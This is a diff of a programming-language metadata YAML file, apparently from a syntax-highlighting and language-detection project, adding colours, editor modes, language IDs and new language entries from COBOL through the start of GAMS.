+  language_id: 47
 COBOL:
   type: programming
   extensions:
-  - .cob
-  - .cbl
-  - .ccp
-  - .cobol
-  - .cpy
+  - ".cob"
+  - ".cbl"
+  - ".ccp"
+  - ".cobol"
+  - ".cpy"
+  tm_scope: source.cobol
   ace_mode: cobol
-
+  codemirror_mode: cobol
+  codemirror_mime_type: text/x-cobol
+  language_id: 48
+CODEOWNERS:
+  type: data
+  filenames:
+  - CODEOWNERS
+  tm_scope: text.codeowners
+  ace_mode: gitignore
+  language_id: 321684729
 COLLADA:
   type: data
+  color: "#F1A42B"
   extensions:
-  - .dae
+  - ".dae"
   tm_scope: text.xml
   ace_mode: xml
-
+  codemirror_mode: xml
+  codemirror_mime_type: text/xml
+  language_id: 49
+CSON:
+  type: data
+  color: "#244776"
+  tm_scope: source.coffee
+  ace_mode: coffee
+  codemirror_mode: coffeescript
+  codemirror_mime_type: text/x-coffeescript
+  extensions:
+  - ".cson"
+  language_id: 424
 CSS:
   type: markup
   tm_scope: source.css
   ace_mode: css
+  codemirror_mode: css
+  codemirror_mime_type: text/css
   color: "#563d7c"
   extensions:
-  - .css
-
+  - ".css"
+  language_id: 50
 CSV:
   type: data
+  color: "#237346"
+  ace_mode: text
+  tm_scope: none
+  extensions:
+  - ".csv"
+  language_id: 51
+CUE:
+  type: programming
+  extensions:
+  - ".cue"
+  tm_scope: source.cue
   ace_mode: text
+  color: "#5886E1"
+  language_id: 356063509
+CWeb:
+  type: programming
+  color: "#00007a"
+  extensions:
+  - ".w"
   tm_scope: none
+  ace_mode: text
+  language_id: 657332628
+Cabal Config:
+  type: data
+  color: "#483465"
+  aliases:
+  - Cabal
+  extensions:
+  - ".cabal"
+  filenames:
+  - cabal.config
+  - cabal.project
+  ace_mode: haskell
+  codemirror_mode: haskell
+  codemirror_mime_type: text/x-haskell
+  tm_scope: source.cabal
+  language_id: 677095381
+Caddyfile:
+  type: data
+  color: "#22b638"
+  aliases:
+  - Caddy
+  extensions:
+  - ".caddyfile"
+  filenames:
+  - Caddyfile
+  ace_mode: text
+  tm_scope: source.Caddyfile
+  language_id: 615465151
+Cadence:
+  type: programming
+  color: "#00ef8b"
+  ace_mode: text
+  tm_scope: source.cadence
+  extensions:
+  - ".cdc"
+  language_id: 270184138
+Cairo:
+  type: programming
+  color: "#ff4a48"
+  ace_mode: text
+  tm_scope: source.cairo
+  extensions:
+  - ".cairo"
+  group: Cairo
+  language_id: 620599567
+Cairo Zero:
+  type: programming
+  color: "#ff4a48"
+  ace_mode: text
+  tm_scope: source.cairo0
+  extensions:
+  - ".cairo"
+  group: Cairo
+  language_id: 891399890
+CameLIGO:
+  type: programming
+  color: "#3be133"
   extensions:
-  - .csv
-
+  - ".mligo"
+  tm_scope: source.mligo
+  ace_mode: ocaml
+  codemirror_mode: mllike
+  codemirror_mime_type: text/x-ocaml
+  group: LigoLANG
+  language_id: 829207807
 Cap'n Proto:
   type: programming
+  color: "#c42727"
   tm_scope: source.capnp
   extensions:
-  - .capnp
+  - ".capnp"
   ace_mode: text
-
+  language_id: 52
+Carbon:
+  type: programming
+  color: "#222222"
+  extensions:
+  - ".carbon"
+  ace_mode: golang
+  codemirror_mode: go
+  codemirror_mime_type: text/x-go
+  tm_scope: source.v
+  language_id: 55627273
 CartoCSS:
   type: programming
   aliases:
   - Carto
   extensions:
-  - .mss
+  - ".mss"
   ace_mode: text
   tm_scope: source.css.mss
-
+  language_id: 53
 Ceylon:
   type: programming
+  color: "#dfa535"
   extensions:
-  - .ceylon
+  - ".ceylon"
+  tm_scope: source.ceylon
   ace_mode: text
-
+  language_id: 54
 Chapel:
   type: programming
   color: "#8dc63f"
   aliases:
   - chpl
   extensions:
-  - .chpl
+  - ".chpl"
+  tm_scope: source.chapel
   ace_mode: text
-
+  language_id: 55
 Charity:
   type: programming
   extensions:
-    - .ch
+  - ".ch"
   tm_scope: none
   ace_mode: text
-
+  language_id: 56
+Checksums:
+  type: data
+  tm_scope: text.checksums
+  aliases:
+  - checksum
+  - hash
+  - hashes
+  - sum
+  - sums
+  filenames:
+  - MD5SUMS
+  - SHA1SUMS
+  - SHA256SUMS
+  - SHA256SUMS.txt
+  - SHA512SUMS
+  - checksums.txt
+  - cksums
+  - md5sum.txt
+  extensions:
+  - ".crc32"
+  - ".md2"
+  - ".md4"
+  - ".md5"
+  - ".sha1"
+  - ".sha2"
+  - ".sha224"
+  - ".sha256"
+  - ".sha256sum"
+  - ".sha3"
+  - ".sha384"
+  - ".sha512"
+  ace_mode: text
+  language_id: 372063053
 ChucK:
   type: programming
+  color: "#3f8000"
   extensions:
-  - .ck
+  - ".ck"
   tm_scope: source.java
   ace_mode: java
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-java
+  language_id: 57
+Circom:
+  type: programming
+  ace_mode: text
+  extensions:
+  - ".circom"
+  color: "#707575"
+  tm_scope: source.circom
+  language_id: 1042332086
 Cirru:
   type: programming
   color: "#ccccff"
+  tm_scope: source.cirru
   ace_mode: cirru
   extensions:
-  - .cirru
-
+  - ".cirru"
+  language_id: 58
 Clarion:
   type: programming
   color: "#db901e"
   ace_mode: text
   extensions:
-  - .clw
+  - ".clw"
   tm_scope: source.clarion
-
+  language_id: 59
+Clarity:
+  type: programming
+  color: "#5546ff"
+  ace_mode: lisp
+  extensions:
+  - ".clar"
+  tm_scope: source.clar
+  language_id: 91493841
+Classic ASP:
+  type: programming
+  color: "#6a40fd"
+  tm_scope: text.html.asp
+  aliases:
+  - asp
+  extensions:
+  - ".asp"
+  ace_mode: text
+  language_id: 8
 Clean:
   type: programming
   color: "#3F85AF"
   extensions:
-  - .icl
-  - .dcl
+  - ".icl"
+  - ".dcl"
   tm_scope: source.clean
   ace_mode: text
-
+  language_id: 60
 Click:
   type: programming
   color: "#E4E6F3"
   extensions:
-  - .click
+  - ".click"
   tm_scope: source.click
   ace_mode: text
-
+  language_id: 61
 Clojure:
   type: programming
+  tm_scope: source.clojure
   ace_mode: clojure
+  codemirror_mode: clojure
+  codemirror_mime_type: text/x-clojure
   color: "#db5855"
   extensions:
-  - .clj
-  - .boot
-  - .cl2
-  - .cljc
-  - .cljs
-  - .cljs.hl
-  - .cljscm
-  - .cljx
-  - .hic
+  - ".clj"
+  - ".bb"
+  - ".boot"
+  - ".cl2"
+  - ".cljc"
+  - ".cljs"
+  - ".cljs.hl"
+  - ".cljscm"
+  - ".cljx"
+  - ".hic"
   filenames:
   - riemann.config
-
+  interpreters:
+  - bb
+  language_id: 62
+Closure Templates:
+  type: markup
+  color: "#0d948f"
+  ace_mode: soy_template
+  codemirror_mode: soy
+  codemirror_mime_type: text/x-soy
+  aliases:
+  - soy
+  extensions:
+  - ".soy"
+  tm_scope: text.html.soy
+  language_id: 357046146
+Cloud Firestore Security Rules:
+  type: data
+  color: "#FFA000"
+  ace_mode: less
+  codemirror_mode: css
+  codemirror_mime_type: text/css
+  tm_scope: source.firestore
+  filenames:
+  - firestore.rules
+  language_id: 407996372
+CoNLL-U:
+  type: data
+  extensions:
+  - ".conllu"
+  - ".conll"
+  tm_scope: text.conllu
+  ace_mode: text
+  aliases:
+  - CoNLL
+  - CoNLL-X
+  language_id: 421026389
+CodeQL:
+  type: programming
+  color: "#140f46"
+  extensions:
+  - ".ql"
+  - ".qll"
+  tm_scope: source.ql
+  ace_mode: text
+  language_id: 424259634
+  aliases:
+  - ql
 CoffeeScript:
   type: programming
   tm_scope: source.coffee
   ace_mode: coffee
+  codemirror_mode: coffeescript
+  codemirror_mime_type: text/x-coffeescript
   color: "#244776"
   aliases:
   - coffee
   - coffee-script
   extensions:
-  - .coffee
-  - ._coffee
-  - .cake
-  - .cjsx
-  - .cson
-  - .iced
+  - ".coffee"
+  - "._coffee"
+  - ".cake"
+  - ".cjsx"
+  - ".iced"
   filenames:
   - Cakefile
   interpreters:
   - coffee
-
+  language_id: 63
 ColdFusion:
   type: programming
-  group: ColdFusion
   ace_mode: coldfusion
   color: "#ed2cd6"
-  search_term: cfm
   aliases:
   - cfm
   - cfml
   - coldfusion html
   extensions:
-  - .cfm
-  - .cfml
+  - ".cfm"
+  - ".cfml"
   tm_scope: text.html.cfm
-
+  language_id: 64
 ColdFusion CFC:
   type: programming
+  color: "#ed2cd6"
   group: ColdFusion
   ace_mode: coldfusion
-  color: "#ed2cd6"
-  search_term: cfc
   aliases:
   - cfc
   extensions:
-  - .cfc
+  - ".cfc"
   tm_scope: source.cfscript
-
+  language_id: 65
 Common Lisp:
   type: programming
-  tm_scope: source.lisp
+  tm_scope: source.commonlisp
   color: "#3fb68b"
   aliases:
   - lisp
   extensions:
-  - .lisp
-  - .asd
-  - .cl
-  - .l
-  - .lsp
-  - .ny
-  - .podsl
-  - .sexp
+  - ".lisp"
+  - ".asd"
+  - ".cl"
+  - ".l"
+  - ".lsp"
+  - ".ny"
+  - ".podsl"
+  - ".sexp"
   interpreters:
   - lisp
   - sbcl
@@ -686,1403 +1288,2689 @@ Common Lisp:
   - clisp
   - ecl
   ace_mode: lisp
-
+  codemirror_mode: commonlisp
+  codemirror_mime_type: text/x-common-lisp
+  language_id: 66
+Common Workflow Language:
+  aliases:
+  - cwl
+  type: programming
+  ace_mode: yaml
+  codemirror_mode: yaml
+  codemirror_mime_type: text/x-yaml
+  extensions:
+  - ".cwl"
+  interpreters:
+  - cwl-runner
+  color: "#B5314C"
+  tm_scope: source.cwl
+  language_id: 988547172
 Component Pascal:
   type: programming
   color: "#B0CE4E"
   extensions:
-  - .cp
-  - .cps
+  - ".cp"
+  - ".cps"
   tm_scope: source.pascal
-  aliases:
-  - delphi
-  - objectpascal
   ace_mode: pascal
-
+  codemirror_mode: pascal
+  codemirror_mime_type: text/x-pascal
+  language_id: 67
 Cool:
   type: programming
   extensions:
-  - .cl
+  - ".cl"
   tm_scope: source.cool
   ace_mode: text
-
+  language_id: 68
 Coq:
   type: programming
+  color: "#d0b68c"
   extensions:
-  - .coq
-  - .v
+  - ".coq"
+  - ".v"
+  tm_scope: source.coq
   ace_mode: text
-
+  language_id: 69
 Cpp-ObjDump:
   type: data
   extensions:
-  - .cppobjdump
-  - .c++-objdump
-  - .c++objdump
-  - .cpp-objdump
-  - .cxx-objdump
+  - ".cppobjdump"
+  - ".c++-objdump"
+  - ".c++objdump"
+  - ".cpp-objdump"
+  - ".cxx-objdump"
   tm_scope: objdump.x86asm
   aliases:
   - c++-objdump
   ace_mode: assembly_x86
-
+  language_id: 70
 Creole:
   type: prose
   wrap: true
   extensions:
-  - .creole
+  - ".creole"
   tm_scope: text.html.creole
   ace_mode: text
-
+  language_id: 71
 Crystal:
   type: programming
-  color: "#776791"
+  color: "#000100"
   extensions:
-  - .cr
+  - ".cr"
   ace_mode: ruby
+  codemirror_mode: crystal
+  codemirror_mime_type: text/x-crystal
   tm_scope: source.crystal
   interpreters:
   - crystal
-
+  language_id: 72
 Csound:
   type: programming
+  color: "#1a1a1a"
   aliases:
   - csound-orc
   extensions:
-  - .orc
-  - .udo
+  - ".orc"
+  - ".udo"
   tm_scope: source.csound
-  ace_mode: text
-
+  ace_mode: csound_orchestra
+  language_id: 73
 Csound Document:
   type: programming
+  color: "#1a1a1a"
   aliases:
   - csound-csd
   extensions:
-  - .csd
+  - ".csd"
   tm_scope: source.csound-document
-  ace_mode: text
-
+  ace_mode: csound_document
+  language_id: 74
 Csound Score:
   type: programming
+  color: "#1a1a1a"
   aliases:
   - csound-sco
   extensions:
-  - .sco
+  - ".sco"
   tm_scope: source.csound-score
-  ace_mode: text
-
-Cucumber:
-  type: programming
-  extensions:
-  - .feature
-  tm_scope: text.gherkin.feature
-  aliases:
-  - gherkin
-  ace_mode: text
-  color: "#5B2063"
-
+  ace_mode: csound_score
+  language_id: 75
 Cuda:
   type: programming
   extensions:
-  - .cu
-  - .cuh
+  - ".cu"
+  - ".cuh"
   tm_scope: source.cuda-c++
   ace_mode: c_cpp
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-c++src
   color: "#3A4E3A"
-
+  language_id: 77
+Cue Sheet:
+  type: data
+  extensions:
+  - ".cue"
+  tm_scope: source.cuesheet
+  ace_mode: text
+  language_id: 942714150
+Curry:
+  type: programming
+  color: "#531242"
+  extensions:
+  - ".curry"
+  tm_scope: source.curry
+  ace_mode: haskell
+  language_id: 439829048
 Cycript:
   type: programming
   extensions:
-  - .cy
+  - ".cy"
   tm_scope: source.js
   ace_mode: javascript
-
+  codemirror_mode: javascript
+  codemirror_mime_type: text/javascript
+  language_id: 78
+Cylc:
+  type: data
+  color: "#00b3fd"
+  extensions:
+  - ".cylc"
+  filenames:
+  - suite.rc
+  tm_scope: source.cylc
+  ace_mode: ini
+  group: INI
+  language_id: 476447814
+Cypher:
+  type: programming
+  color: "#34c0eb"
+  extensions:
+  - ".cyp"
+  - ".cypher"
+  tm_scope: source.cypher
+  ace_mode: text
+  language_id: 850806976
 Cython:
   type: programming
-  group: Python
+  color: "#fedf5b"
   extensions:
-  - .pyx
-  - .pxd
-  - .pxi
+  - ".pyx"
+  - ".pxd"
+  - ".pxi"
   aliases:
   - pyrex
+  tm_scope: source.cython
   ace_mode: text
-
+  codemirror_mode: python
+  codemirror_mime_type: text/x-cython
+  language_id: 79
 D:
   type: programming
   color: "#ba595e"
+  aliases:
+  - Dlang
   extensions:
-  - .d
-  - .di
+  - ".d"
+  - ".di"
+  tm_scope: source.d
   ace_mode: d
-
+  codemirror_mode: d
+  codemirror_mime_type: text/x-d
+  language_id: 80
 D-ObjDump:
   type: data
   extensions:
-  - .d-objdump
+  - ".d-objdump"
   tm_scope: objdump.x86asm
   ace_mode: assembly_x86
-
+  language_id: 81
+D2:
+  type: markup
+  color: "#526ee8"
+  extensions:
+  - ".d2"
+  aliases:
+  - d2lang
+  tm_scope: source.d2
+  ace_mode: text
+  language_id: 37531557
 DIGITAL Command Language:
   type: programming
   aliases:
   - dcl
   extensions:
-  - .com
+  - ".com"
   tm_scope: none
   ace_mode: text
-
+  language_id: 82
 DM:
   type: programming
   color: "#447265"
   extensions:
-  - .dm
+  - ".dm"
   aliases:
   - byond
   tm_scope: source.dm
   ace_mode: c_cpp
-
+  language_id: 83
 DNS Zone:
   type: data
   extensions:
-  - .zone
-  - .arpa
+  - ".zone"
+  - ".arpa"
   tm_scope: text.zone_file
   ace_mode: text
-
+  language_id: 84
 DTrace:
   type: programming
   aliases:
   - dtrace-script
   extensions:
-  - .d
+  - ".d"
   interpreters:
   - dtrace
   tm_scope: source.c
   ace_mode: c_cpp
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csrc
+  language_id: 85
+Dafny:
+  type: programming
+  color: "#FFEC25"
+  extensions:
+  - ".dfy"
+  interpreters:
+  - dafny
+  tm_scope: text.dfy.dafny
+  ace_mode: text
+  language_id: 969323346
 Darcs Patch:
   type: data
-  search_term: dpatch
+  color: "#8eff23"
   aliases:
   - dpatch
   extensions:
-  - .darcspatch
-  - .dpatch
+  - ".darcspatch"
+  - ".dpatch"
   tm_scope: none
   ace_mode: text
-
+  language_id: 86
 Dart:
   type: programming
   color: "#00B4AB"
   extensions:
-  - .dart
+  - ".dart"
   interpreters:
   - dart
+  tm_scope: source.dart
   ace_mode: dart
-
-Diff:
-  type: data
+  codemirror_mode: dart
+  codemirror_mime_type: application/dart
+  language_id: 87
+DataWeave:
+  type: programming
+  color: "#003a52"
   extensions:
-  - .diff
-  - .patch
-  aliases:
-  - udiff
-  tm_scope: source.diff
-  ace_mode: diff
-
-Dockerfile:
+  - ".dwl"
+  ace_mode: text
+  tm_scope: source.data-weave
+  language_id: 974514097
+Debian Package Control File:
   type: data
-  tm_scope: source.dockerfile
+  color: "#D70751"
   extensions:
-  - .dockerfile
-  filenames:
-  - Dockerfile
+  - ".dsc"
+  tm_scope: source.deb-control
+  ace_mode: text
+  language_id: 527438264
+DenizenScript:
+  type: programming
+  color: "#FBEE96"
+  ace_mode: yaml
+  codemirror_mode: yaml
+  codemirror_mime_type: text/x-yaml
+  extensions:
+  - ".dsc"
+  tm_scope: source.denizenscript
+  language_id: 435000929
+Dhall:
+  type: programming
+  color: "#dfafff"
+  extensions:
+  - ".dhall"
+  tm_scope: source.haskell
+  ace_mode: haskell
+  codemirror_mode: haskell
+  codemirror_mime_type: text/x-haskell
+  language_id: 793969321
+Diff:
+  type: data
+  extensions:
+  - ".diff"
+  - ".patch"
+  aliases:
+  - udiff
+  tm_scope: source.diff
+  ace_mode: diff
+  codemirror_mode: diff
+  codemirror_mime_type: text/x-diff
+  language_id: 88
+DirectX 3D File:
+  type: data
+  color: "#aace60"
+  extensions:
+  - ".x"
+  ace_mode: text
+  tm_scope: none
+  language_id: 201049282
+Dockerfile:
+  type: programming
+  aliases:
+  - Containerfile
+  color: "#384d54"
+  tm_scope: source.dockerfile
+  extensions:
+  - ".dockerfile"
+  filenames:
+  - Containerfile
+  - Dockerfile
   ace_mode: dockerfile
-
+  codemirror_mode: dockerfile
+  codemirror_mime_type: text/x-dockerfile
+  language_id: 89
 Dogescript:
   type: programming
   color: "#cca760"
   extensions:
-  - .djs
+  - ".djs"
   tm_scope: none
   ace_mode: text
-
+  language_id: 90
+Dotenv:
+  type: data
+  color: "#e5d559"
+  extensions:
+  - ".env"
+  filenames:
+  - ".env"
+  - ".env.ci"
+  - ".env.dev"
+  - ".env.development"
+  - ".env.development.local"
+  - ".env.example"
+  - ".env.local"
+  - ".env.prod"
+  - ".env.production"
+  - ".env.sample"
+  - ".env.staging"
+  - ".env.test"
+  - ".env.testing"
+  tm_scope: source.dotenv
+  ace_mode: text
+  language_id: 111148035
+Dune:
+  type: programming
+  ace_mode: lisp
+  filenames:
+  - dune-project
+  tm_scope: source.dune
+  color: "#89421e"
+  language_id: 754574151
 Dylan:
   type: programming
   color: "#6c616e"
   extensions:
-  - .dylan
-  - .dyl
-  - .intr
-  - .lid
+  - ".dylan"
+  - ".dyl"
+  - ".intr"
+  - ".lid"
+  tm_scope: source.dylan
   ace_mode: text
-
+  codemirror_mode: dylan
+  codemirror_mime_type: text/x-dylan
+  language_id: 91
 E:
   type: programming
   color: "#ccce35"
   extensions:
-  - .E
+  - ".e"
   interpreters:
   - rune
   tm_scope: none
   ace_mode: text
-
+  language_id: 92
+E-mail:
+  type: data
+  aliases:
+  - email
+  - eml
+  - mail
+  - mbox
+  extensions:
+  - ".eml"
+  - ".mbox"
+  tm_scope: text.eml.basic
+  ace_mode: text
+  codemirror_mode: mbox
+  codemirror_mime_type: application/mbox
+  language_id: 529653389
+EBNF:
+  type: data
+  extensions:
+  - ".ebnf"
+  tm_scope: source.ebnf
+  ace_mode: text
+  codemirror_mode: ebnf
+  codemirror_mime_type: text/x-ebnf
+  language_id: 430
 ECL:
   type: programming
   color: "#8a1267"
   extensions:
-  - .ecl
-  - .eclxml
-  tm_scope: none
+  - ".ecl"
+  - ".eclxml"
+  tm_scope: source.ecl
   ace_mode: text
-
+  codemirror_mode: ecl
+  codemirror_mime_type: text/x-ecl
+  language_id: 93
 ECLiPSe:
   type: programming
-  group: prolog
+  color: "#001d9d"
+  group: Prolog
   extensions:
-  - .ecl
+  - ".ecl"
   tm_scope: source.prolog.eclipse
   ace_mode: prolog
-
+  language_id: 94
 EJS:
   type: markup
   color: "#a91e50"
-  group: HTML
   extensions:
-  - .ejs
+  - ".ejs"
+  - ".ect"
+  - ".ejs.t"
+  - ".jst"
   tm_scope: text.html.js
   ace_mode: ejs
-
+  language_id: 95
 EQ:
   type: programming
   color: "#a78649"
   extensions:
-  - .eq
+  - ".eq"
   tm_scope: source.cs
   ace_mode: csharp
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csharp
+  language_id: 96
 Eagle:
-  type: markup
-  color: "#814C05"
+  type: data
   extensions:
-  - .sch
-  - .brd
+  - ".sch"
+  - ".brd"
   tm_scope: text.xml
   ace_mode: xml
-
+  codemirror_mode: xml
+  codemirror_mime_type: text/xml
+  language_id: 97
+Earthly:
+  type: programming
+  aliases:
+  - Earthfile
+  color: "#2af0ff"
+  tm_scope: source.earthfile
+  ace_mode: text
+  filenames:
+  - Earthfile
+  language_id: 963512632
+Easybuild:
+  type: data
+  color: "#069406"
+  group: Python
+  ace_mode: python
+  codemirror_mode: python
+  codemirror_mime_type: text/x-python
+  tm_scope: source.python
+  extensions:
+  - ".eb"
+  language_id: 342840477
 Ecere Projects:
   type: data
+  color: "#913960"
   group: JavaScript
   extensions:
-  - .epj
+  - ".epj"
   tm_scope: source.json
   ace_mode: json
-
+  codemirror_mode: javascript
+  codemirror_mime_type: application/json
+  language_id: 98
+Ecmarkup:
+  type: markup
+  color: "#eb8131"
+  group: HTML
+  extensions:
+  - ".html"
+  tm_scope: text.html.ecmarkup
+  ace_mode: html
+  codemirror_mode: htmlmixed
+  codemirror_mime_type: text/html
+  aliases:
+  - ecmarkdown
+  language_id: 844766630
+Edge:
+  type: markup
+  color: "#0dffe0"
+  extensions:
+  - ".edge"
+  tm_scope: text.html.edge
+  ace_mode: html
+  language_id: 460509620
+EdgeQL:
+  type: programming
+  color: "#31A7FF"
+  aliases:
+  - esdl
+  extensions:
+  - ".edgeql"
+  - ".esdl"
+  ace_mode: text
+  tm_scope: source.edgeql
+  language_id: 925235833
+EditorConfig:
+  type: data
+  color: "#fff1f2"
+  group: INI
+  extensions:
+  - ".editorconfig"
+  filenames:
+  - ".editorconfig"
+  aliases:
+  - editor-config
+  ace_mode: ini
+  codemirror_mode: properties
+  codemirror_mime_type: text/x-properties
+  tm_scope: source.editorconfig
+  language_id: 96139566
+Edje Data Collection:
+  type: data
+  extensions:
+  - ".edc"
+  tm_scope: source.c++
+  ace_mode: c_cpp
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-c++src
+  language_id: 342840478
 Eiffel:
   type: programming
-  color: "#946d57"
+  color: "#4d6977"
   extensions:
-  - .e
+  - ".e"
+  tm_scope: source.eiffel
   ace_mode: eiffel
-
+  codemirror_mode: eiffel
+  codemirror_mime_type: text/x-eiffel
+  language_id: 99
 Elixir:
   type: programming
   color: "#6e4a7e"
   extensions:
-  - .ex
-  - .exs
+  - ".ex"
+  - ".exs"
+  tm_scope: source.elixir
   ace_mode: elixir
   filenames:
   - mix.lock
   interpreters:
   - elixir
-
+  language_id: 100
 Elm:
   type: programming
   color: "#60B5CC"
   extensions:
-  - .elm
+  - ".elm"
   tm_scope: source.elm
   ace_mode: elm
-
+  codemirror_mode: elm
+  codemirror_mime_type: text/x-elm
+  language_id: 101
+Elvish:
+  type: programming
+  ace_mode: text
+  extensions:
+  - ".elv"
+  interpreters:
+  - elvish
+  tm_scope: source.elvish
+  color: "#55BB55"
+  language_id: 570996448
+Elvish Transcript:
+  type: programming
+  group: Elvish
+  ace_mode: text
+  tm_scope: source.elvish-transcript
+  color: "#55BB55"
+  language_id: 452025714
 Emacs Lisp:
   type: programming
-  tm_scope: source.lisp
+  tm_scope: source.emacs.lisp
   color: "#c065db"
   aliases:
   - elisp
   - emacs
   filenames:
-  - .emacs
-  - .emacs.desktop
-  extensions:
-  - .el
-  - .emacs
-  - .emacs.desktop
+  - ".abbrev_defs"
+  - ".emacs"
+  - ".emacs.desktop"
+  - ".gnus"
+  - ".spacemacs"
+  - ".viper"
+  - Cask
+  - Project.ede
+  - _emacs
+  - abbrev_defs
+  extensions:
+  - ".el"
+  - ".emacs"
+  - ".emacs.desktop"
   ace_mode: lisp
-
+  codemirror_mode: commonlisp
+  codemirror_mime_type: text/x-common-lisp
+  language_id: 102
 EmberScript:
   type: programming
   color: "#FFF4F3"
   extensions:
-  - .em
-  - .emberscript
+  - ".em"
+  - ".emberscript"
   tm_scope: source.coffee
   ace_mode: coffee
-
+  codemirror_mode: coffeescript
+  codemirror_mime_type: text/x-coffeescript
+  language_id: 103
 Erlang:
   type: programming
   color: "#B83998"
   extensions:
-  - .erl
-  - .app.src
-  - .es
-  - .escript
-  - .hrl
-  - .xrl
-  - .yrl
+  - ".erl"
+  - ".app"
+  - ".app.src"
+  - ".es"
+  - ".escript"
+  - ".hrl"
+  - ".xrl"
+  - ".yrl"
   filenames:
+  - Emakefile
   - rebar.config
   - rebar.config.lock
   - rebar.lock
+  tm_scope: source.erlang
   ace_mode: erlang
+  codemirror_mode: erlang
+  codemirror_mime_type: text/x-erlang
   interpreters:
   - escript
-
+  language_id: 104
+Euphoria:
+  type: programming
+  color: "#FF790B"
+  extensions:
+  - ".e"
+  - ".ex"
+  interpreters:
+  - eui
+  - euiw
+  ace_mode: text
+  tm_scope: source.euphoria
+  language_id: 880693982
 F#:
   type: programming
   color: "#b845fc"
-  search_term: fsharp
   aliases:
   - fsharp
   extensions:
-  - .fs
-  - .fsi
-  - .fsx
+  - ".fs"
+  - ".fsi"
+  - ".fsx"
   tm_scope: source.fsharp
   ace_mode: text
-
-FLUX:
+  codemirror_mode: mllike
+  codemirror_mime_type: text/x-fsharp
+  language_id: 105
+F*:
+  fs_name: Fstar
   type: programming
-  color: "#88ccff"
+  color: "#572e30"
+  aliases:
+  - fstar
   extensions:
-  - .fx
-  - .flux
-  tm_scope: none
+  - ".fst"
+  - ".fsti"
+  tm_scope: source.fstar
+  ace_mode: text
+  language_id: 336943375
+FIGlet Font:
+  type: data
+  color: "#FFDDBB"
+  aliases:
+  - FIGfont
+  extensions:
+  - ".flf"
+  tm_scope: source.figfont
   ace_mode: text
-
-FORTRAN:
+  language_id: 686129783
+FIRRTL:
   type: programming
-  color: "#4d41b1"
+  color: "#2f632f"
   extensions:
-  - .f90
-  - .f
-  - .f03
-  - .f08
-  - .f77
-  - .f95
-  - .for
-  - .fpp
-  tm_scope: source.fortran.modern
+  - ".fir"
+  tm_scope: source.firrtl
   ace_mode: text
-
+  language_id: 906694254
+FLUX:
+  type: programming
+  color: "#88ccff"
+  extensions:
+  - ".fx"
+  - ".flux"
+  tm_scope: none
+  ace_mode: text
+  language_id: 106
 Factor:
   type: programming
   color: "#636746"
   extensions:
-  - .factor
+  - ".factor"
   filenames:
-    - .factor-boot-rc
-    - .factor-rc
+  - ".factor-boot-rc"
+  - ".factor-rc"
+  tm_scope: source.factor
   ace_mode: text
-
+  codemirror_mode: factor
+  codemirror_mime_type: text/x-factor
+  language_id: 108
 Fancy:
   type: programming
   color: "#7b9db4"
   extensions:
-  - .fy
-  - .fancypack
+  - ".fy"
+  - ".fancypack"
   filenames:
   - Fakefile
+  tm_scope: source.fancy
   ace_mode: text
-
+  language_id: 109
 Fantom:
   type: programming
-  color: "#dbded5"
+  color: "#14253c"
+  extensions:
+  - ".fan"
+  tm_scope: source.fan
+  ace_mode: text
+  language_id: 110
+Faust:
+  type: programming
+  color: "#c37240"
+  extensions:
+  - ".dsp"
+  tm_scope: source.faust
+  ace_mode: text
+  language_id: 622529198
+Fennel:
+  type: programming
+  tm_scope: source.fnl
+  ace_mode: text
+  color: "#fff3d7"
+  interpreters:
+  - fennel
+  extensions:
+  - ".fnl"
+  language_id: 239946126
+Filebench WML:
+  type: programming
+  color: "#F6B900"
   extensions:
-  - .fan
+  - ".f"
   tm_scope: none
   ace_mode: text
-
+  language_id: 111
 Filterscript:
   type: programming
   group: RenderScript
   extensions:
-  - .fs
+  - ".fs"
   tm_scope: none
   ace_mode: text
-
+  language_id: 112
+Fluent:
+  type: programming
+  color: "#ffcc33"
+  extensions:
+  - ".ftl"
+  tm_scope: source.ftl
+  ace_mode: text
+  language_id: 206353404
 Formatted:
   type: data
   extensions:
-  - .for
-  - .eam.fs
+  - ".for"
+  - ".eam.fs"
   tm_scope: none
   ace_mode: text
-
+  language_id: 113
 Forth:
   type: programming
   color: "#341708"
   extensions:
-  - .fth
-  - .4th
-  - .f
-  - .for
-  - .forth
-  - .fr
-  - .frt
-  - .fs
+  - ".fth"
+  - ".4th"
+  - ".f"
+  - ".for"
+  - ".forth"
+  - ".fr"
+  - ".frt"
+  - ".fs"
+  tm_scope: source.forth
   ace_mode: forth
-
+  codemirror_mode: forth
+  codemirror_mime_type: text/x-forth
+  language_id: 114
+Fortran:
+  group: Fortran
+  type: programming
+  color: "#4d41b1"
+  extensions:
+  - ".f"
+  - ".f77"
+  - ".for"
+  - ".fpp"
+  tm_scope: source.fortran
+  ace_mode: text
+  codemirror_mode: fortran
+  codemirror_mime_type: text/x-fortran
+  language_id: 107
+Fortran Free Form:
+  group: Fortran
+  color: "#4d41b1"
+  type: programming
+  extensions:
+  - ".f90"
+  - ".f03"
+  - ".f08"
+  - ".f95"
+  tm_scope: source.fortran.modern
+  ace_mode: text
+  codemirror_mode: fortran
+  codemirror_mime_type: text/x-fortran
+  language_id: 761352333
+FreeBasic:
+  type: programming
+  color: "#141AC9"
+  extensions:
+  - ".bi"
+  - ".bas"
+  tm_scope: source.vbnet
+  aliases:
+  - fb
+  ace_mode: text
+  codemirror_mode: vb
+  codemirror_mime_type: text/x-vb
+  language_id: 472896659
 FreeMarker:
   type: programming
   color: "#0050b2"
   aliases:
   - ftl
   extensions:
-  - .ftl
+  - ".ftl"
   tm_scope: text.html.ftl
   ace_mode: ftl
-
+  language_id: 115
 Frege:
   type: programming
   color: "#00cafe"
   extensions:
-  - .fr
+  - ".fr"
   tm_scope: source.haskell
   ace_mode: haskell
-
+  language_id: 116
+Futhark:
+  type: programming
+  color: "#5f021f"
+  extensions:
+  - ".fut"
+  tm_scope: source.futhark
+  ace_mode: text
+  language_id: 97358117
 G-code:
-  type: data
+  type: programming
+  color: "#D08CF2"
   extensions:
-  - .g
-  - .gco
-  - .gcode
+  - ".g"
+  - ".cnc"
+  - ".gco"
+  - ".gcode"
   tm_scope: source.gcode
   ace_mode: gcode
-
+  language_id: 117
+GAML:
+  type: programming
+  color: "#FFC766"
+  extensions:
+  - ".gaml"
+  tm_scope: none
+  ace_mode: text
+  language_id: 290345951
 GAMS:
   type: programming
